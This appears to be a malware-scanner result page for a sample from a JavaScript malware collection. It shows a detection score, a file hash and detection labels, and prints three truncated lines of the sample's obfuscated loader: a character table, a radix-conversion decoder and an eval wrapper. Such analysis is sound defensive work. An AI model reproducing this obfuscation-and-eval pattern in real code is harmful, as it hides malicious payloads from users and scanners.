Suspicious ^80% javascript-malware-collection Download

20151208_9d0374966c57c1d5595e502d0872cf60.js

Obfuscated code with eval

parseInt toString radix remapObfuscated increment/decrement via arithmetic

SHA-25603899904615ad63fb4a15639cc2613b74685b875b0bb7dd1245e608c93f15cdd

Evidence

Obfuscated increment/decrement via arithmetic lines 1–3

1var CJgXznNBFcnrg=[];for(AnnGCDT=(-457+457)/333;AnnGCDT<(85187+573)/670;AnnGCDT++){CJgXznNBFcnrg[AnnGCDT]=String.fromCharCode(AnnGCDT)}function lpTzG(tdqLWyObXkV,exyXDoXymqBgM,kirWehOA){vqCV=parseInt(tdqLWyObXkV,exyXDoXymqBgM);MnwXQ=vqCV.toString(kirWehOA);return MnwXQ;}function BpopQyZkqkgHTum(MhQqijjXAXBZIcgID){eval(MhQqijjXAXBZIcgID)}
2function uNRgQgQNlqUMZaUaWSGjREidtPCHPTqvniMmpqNPsveMNEiGDVmALJ(JwxRovwkNLrGZ,TGcFuaoWvQVQet){ return CJgXznNBFcnrg[lpTzG(JwxRovwkNLrGZ[TGcFuaoWvQVQet],(7415+715)/813,(3213+287)/350)];}
3function dzrbleU(aGCjmNhNdWcLPugfWlyhCsdtajwBNPOMkOhU) {return !isNaN(parseFloat(aGCjmNhNdWcLPugfWlyhCsdtajwBNPOMkOhU)) && isFinite(aGCjmNhNdWcLP …